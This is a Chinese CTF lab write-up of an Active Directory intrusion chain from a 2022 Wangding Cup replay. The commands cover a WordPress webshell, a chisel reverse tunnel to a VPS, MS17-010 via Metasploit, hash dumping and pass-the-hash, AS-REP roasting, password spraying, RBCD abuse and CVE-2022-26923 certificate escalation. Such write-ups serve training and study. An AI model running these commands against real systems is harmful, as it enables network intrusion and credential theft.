春秋云境-2022网鼎杯半决赛复现
复现
靶标介绍:
该靶场为 2022 第三届网鼎杯决赛内网靶场复盘。完成该挑战可以帮助玩家了解内网渗透中的代理转发、内网扫描、信息收集、特权提升以及横向移动技术方法,加强对域环境核心认证机制的理解,以及掌握域环境渗透中一些有趣的技术要点。该靶场共有 4 个 flag,分布于不同的靶机。
考点:
- wordpress插件rce
- MS17-010
- AS-REP Roasting
- 基于资源的约束性委派
- 智能卡身份验证出错下的CVE-2022–26923 AD域提权打法——Schannel传递证书传递到LDAPS,修改LDAP配置RBCD
web渗透
信息收集,外网打点
1 | # python3 dirsearch.py -u 39.99.128.167 -e php |
存在后台/wp-admin.php
,弱口令admin:123456
登录
发现theme file editor
功能点,可以编辑php
文件,尝试修改该文件并提交。
根据wordpress的命名特点找到绝对路径,发现恶意php代码被执行。
拿下一台主机
写入一句话木马,godzilla连接,成功,在根目录下获取flag01
后渗透
查看内网网段
传fscan,frp,一个扫内网,一个搭隧道。
fscan
1 | wget https://github.com/shadow1ng/fscan/releases/download/1.8.2/fscan_amd64 -O fscan |
扫描结果
1 | (icmp) Target 172.22.15.13 is alive |
- icmp 有5个IP地址能ping通
- 端口扫描
- 88 通常与 Kerberos 验证协议相关
- 3306 mysql
- 445 SMB协议,用于文件共享,可能是一个Windows文件服务
- 139和135 NetBIOS 和 RPC(远程过程调用)相关的端口。windows
- 80
- 22 ssh
- 主机的NetBIOS和NetInfo信息(台机器的主机名和工作组)
fscan的结果显然要打MS17-010,永恒之蓝
永恒之蓝(ms17-010)过TCP端口445和139来利用SMBv1和NBT中的远程代码执行漏洞,恶意代码会扫描开放445文件共享端口的Windows机器,无需用户任何操作,只要开机上网,不法分子就能在电脑和服务器中植入勒索软件、远程控制木马、虚拟货币挖矿机等恶意程序。
附上一张网上的拓扑图
隧道搭建
上传chisel,搭隧道
1 | wget https://github.com/jpillora/chisel/releases/download/v1.10.1/chisel_1.10.1_linux_amd64.gz |
VPS上,server
1 | ./chisel server -p 1234 --reverse |
172.22.15.26 机器上,client
1 | ./chisel client ip:1234 R:0.0.0.0:9383:socks |
然后连接vps:9383的socks5代理
访问 http://172.22.15.24/ 成功
MS17-010
kali,msf直接打。但是需要先在kali上也建立一下socks5访问,这样我们的脚本才能直接攻击内网服务器。
1 | nano /etc/proxychains4.conf |
msf一把梭哈
1 | proxychains4 msfconsole |
多打两次能成功。笔者大概跑了三回吧。
尝试直接获取可交互的shell,回显一直是timeout,遂尝试其他方法。
看到其他师傅的wp直接将flag down下来,但是笔者认为无法得知flag的绝对地址,遂不使用。
查看当前身份
1 | getuid |
在Windows系统中,SYSTEM用户是具有最高权限的用户账户,它拥有对系统的完全控制权。
dump 哈希
1 | hashdump |
哈希传递,wmiexec连上去
1 | proxychains4 python3 wmiexec.py administrator@172.22.15.24 -hashes :0e52d03e9b939997401466a0ec5a9cbc -codec gbk |
然后就是找flag,发现直接使用这个shell找,交互时间长且容易误触,导致需要从头来过,于是打算创建一个新用户,直接rdp连接。
1 | net user symya 123@asd /add |
**
rdp连接
win+r 然后mstsc,发现无法连接,后来才发现自己只做了浏览器的socks5代理,没有做全局代理。proxfier做全局代理
解决方法:https://blog.csdn.net/juanjuan_01/article/details/127005255
在机子中找到flag02
在该机子中存在phpstudy,发现数据库账号密码
在phpstudy唯一一个网站的根目录底下发现名为phpmyadmin,直接登录。发现有个表有一堆域账户。
导出zdoosys_user.sql,改后缀改成txt然后把邮箱提取出来
1 | import re |
弱口令接管OA
机器为:172.22.15.24
代理出来后,访问,发现弱口令admin:123456
即可登录。
在团队,同事列表发现大量邮箱,可以做成email字典。和上方找到的类似。
1 | lixiuying@xiaorang.lab |
XR-0687AS-ERP Roasting
AS-REP Roasting攻击:
Kerberos身份认证的第一个过程又被称为域身份验证,主要是为了防止与用户密码脱机爆破。如果与用户关闭了预身份验证(“Do not require Kerberos preauthentication”)的话,攻击者可以使用指定的用户向域控制器发送AS-REQ请求。然后域控制器会返回TGT票据和加密的Session-key等信息。因此攻击者就可以对获取到的加密Session-key进行离线破解,如果爆破成功,就能得到该指定用户的明文密码。这种攻击方式被称作AS-REP Roasting攻击。
AS-REP Roasting是一种对用户账号进行离线爆破的攻击方式。但是该攻击方式利用比较局限,因为其需要用户账号设置 “Do not require Kerberos preauthentication(不需要kerberos预身份验证) “ 。而该属性默认是没有勾选上的。
预身份验证是Kerberos身份验证的第一步(AS_REQ & AS_REP),它的主要作用是防止密码脱机爆破。默认情况下,预身份验证是开启的,KDC会记录密码错误次数,防止在线爆破。关于 AS_REQ & AS_REP:域内认证之Kerberos协议详解。
当关闭了预身份验证后,攻击者可以使用指定用户去请求票据,此时域控不会作任何验证就将 TGT票据 和 该用户Hash加密的Session Key返回。因此,攻击者就可以对获取到的 用户Hash加密的Session Key进行离线破解,如果破解成功,就能得到该指定用户的密码明文。
AS-REP Roasting攻击条件
域用户设置了 “Do not require Kerberos preauthentication(不需要kerberos预身份验证)”
需要一台可与KDC进行通信的主机/用户
进行攻击
跑一下,看一下是否存在有不要求Kerberos 预身份验证的账户。
获取TGT票据。
1 | proxychains4 python3 GetNPUsers.py -dc-ip 172.22.15.13 xiaorang.lab/ -usersfile /home/symya/桌面/email.txt |
得:
1 | $krb5asrep$23$lixiuying@xiaorang.lab@XIAORANG.LAB:e5b9df0a854b830ce5f6e5ffe2499d71$d9d9dc060842070cd86a8ecae9e214d3a0ca14b815dc3c39e39c02a33d8e905757ff35a61a31e6dae59482b894e391be7ac67d4f7f484c37cc1dd80c93be6c30ac3a3e8217380170959db080a27cf29adff473385a7c554fe06c8512039f90255f853ce5be6e456377d5aec2530e674ac79c79bae51343f0150105c46703f0a7f1ba694e72c5b4d24aea907e04c33579b7601bda211fa28e0704115de88b9c073ab8863108a2013e8ec447163ec837615ca4dce0798bfdc3424400bdb37a5f0c0497ba4d7b4da0b56c726aca69ef6234ce75776b5bed88c814ec1d0b75b64cb38e94ff66ef5ef3b0a4b4ac8b |
将申请到的TGT保存在文件中,使用John加载rockyou进行暴力破解。
1 | john --wordlist=/usr/share/wordlists/rockyou.txt /home/symya/桌面/hash.txt |
爆破出来为:
1 | lixiuying:winniethepooh |
找一下这个是哪台机子的账密,crackmapexec喷洒一下
1 | proxychains4 -q crackmapexec smb 172.22.15.0/24 -u 'lixiuying' -p 'winniethepooh' |
发现只有只有172.22.15.35(XR-0687)可以成功登录上
⚠️upload failed, check dev console
rdp登录
1 | lixiuying@xaiorang.lab |
ACL Abuse+RBCD提权
基于资源的约束委派(Resource-Based Constrained Delegation,RBCD)是在Windows Server 2012中新引入的功能。与传统的约束委派相比,它将设置委派的权限交还给了服务资源自身,也就是说服务自己可以决定“谁可以对我进行委派。”基于资源的约束委派的关键在于msDS-AllowedToActOnBehalfOfOtherIdentity属性的设置。
用 bloodhound 收集域内信息
1 | proxychains4 bloodhound-python -u lixiuying -p winniethepooh -d xiaorang.lab -c all -ns 172.22.15.13 --zip --dns-tcp |
可以看到 lixiuying 对 XR-0687 具有 GenericWrite 权限,那么我们就可以通过配置 RBCD 拿到 XR-0687 的权限
使用impacket工具
添加用户
1 | proxychains4 python3 addcomputer.py xiaorang.lab/lixiuying:'winniethepooh' -dc-ip 172.22.15.13 -dc-host xiaorang.lab -computer-name 'TEST$' -computer-pass '123@asd' |
rbcd攻击
1 | proxychains4 python3 rbcd.py xiaorang.lab/lixiuying:'winniethepooh' -dc-ip 172.22.15.13 -action write -delegate-to 'XR-0687$' -delegate-from 'TEST$' |
得到机器码
1 | TEST$ (S-1-5-21-3745972894-1678056601-2622918667-1147) |
创建票据
1 | proxychains4 python3 getST.py xiaorang.lab/'TEST$':'123@asd' -spn cifs/XR-0687.xiaorang.lab -impersonate Administrator -dc-ip 172.22.15.13 |
导入票据
1 | export KRB5CCNAME=Administrator@cifs_XR-0687.xiaorang.lab@XIAORANG.LAB.ccache |
报错:[Errno 111] Connection refused
,改/etc/hosts
无密码连接
1 | proxychains4 -q python3 psexec.py -k -no-pass -dc-ip 172.22.15.13 administrator@XR-0687.xiaorang.lab -codec gbk |
得flag03
1 | type C:\Users\Administrator\flag\flag03.txt |
Active Directory 域权限提升漏洞(CVE-2022-26923)
2022年5月10日,微软发布补丁修复了一个Active Directory域权限提升漏洞(CVE-2022-26923)。该漏洞是由于对用户属性的不正确获取,允许低权限用户在安装了Active Directory证书服务(AD CS)的域环境中将权限提升至域管理员。
默认情况下,域用户账户可以注册User证书模板,计算机账户可以注册Machine证书模板。两个证书模板都允许执行客户端身份验证。
在申请计算机证书时,ADCS将计算机对象的dNSHostName属性的值添加到证书的主题备用名称中。当我们使用证书进行身份验证是,KDC会尝试将这个dNSHOstName属性值从证书映射到目标账户。
因此,如果我们将某个可控计算机账户(Test1$)的dNSHostName值改为与域控制器的计算机账户相同的dNSHostName值,那么就意味着我们可以欺骗ADCS,并最终申请到域控制器的AD证书。
简述:通过构造机器账户并篡改dNSHostName属性,在证书申请时AD CS将dNSHostName属性嵌入证书中,进而机器账户获得高权限的域控身份。
添加一个账户,然后设置 DNS Host Name 为域控的 XR-DC01.xiaorang.lab。
1 | proxychains4 -q certipy account create -user 'test2' -pass '123@asd' -dns XR-DC01.xiaorang.lab -dc-ip 172.22.15.13 -u lixiuying -p 'winniethepooh' |
然后用这个账户向 XR-CA请求证书
1 | proxychains4 -q certipy req -u 'test2$@xiaorang.lab' -p '123@asd' -ca 'xiaorang-XR-CA-CA' -target 172.22.15.18 -template 'Machine' |
检索 Hash 生成票据
1 | proxychains4 -q certipy auth -pfx xr-dc01.pfx -dc-ip 172.22.15.13 |
报错
KDC_ERR_PADATA_TYPE_NOSUPP
在尝试使用智能卡登录时,无法找到合适的证书。可能是由于查询了错误的认证机构(CA)
当域控制器没有安装智能卡(域控制器或域控制器认证模板)的证书时,也可能发生这种情况。
尝试 Schannel,通过 Schannel将证书传递到 LDAPS, 修改 LDAP 配置 (例如配置 RBCD / DCSync), 进而获得域控权限。
转换证书格式 ,把pfx导出为.key 和.crt 两个文件。密码为空密码即可
1 | openssl pkcs12 -in xr-dc01.pfx -nodes -out test.pem |
下载PassTheCert.py
1 | proxychains4 -q passthecert.py -action whoami -crt test.crt -key test.key -domain xiaorang.lab -dc-ip 172.22.15.13 |
下一步将证书配置到域控的 RBCD
1 | proxychains4 -q passthecert.py -action write_rbcd -crt test.crt -key test.key -domain xiaorang.lab -dc-ip 172.22.15.13 -delegate-to 'XR-DC01$' -delegate-from 'test2$' |
申请ST
1 | proxychains4 -q getST.py xiaorang.lab/'test2$':'123@asd' -dc-ip 172.22.15.13 -spn cifs/XR-DC01.xiaorang.lab -impersonate Administrator |
导入申请的票据
1 | export KRB5CCNAME=Administrator@cifs_XR-DC01.xiaorang.lab@XIAORANG.LAB.ccache |
连接,也要修改/etc/hosts
1 | proxychains4 python3 psexec.py Administrator@XR-DC01.xiaorang.lab -k -no-pass -dc-ip 172.22.15.13 |
读flag
1 | type C:\Users\Administrator\flag\flag04.txt |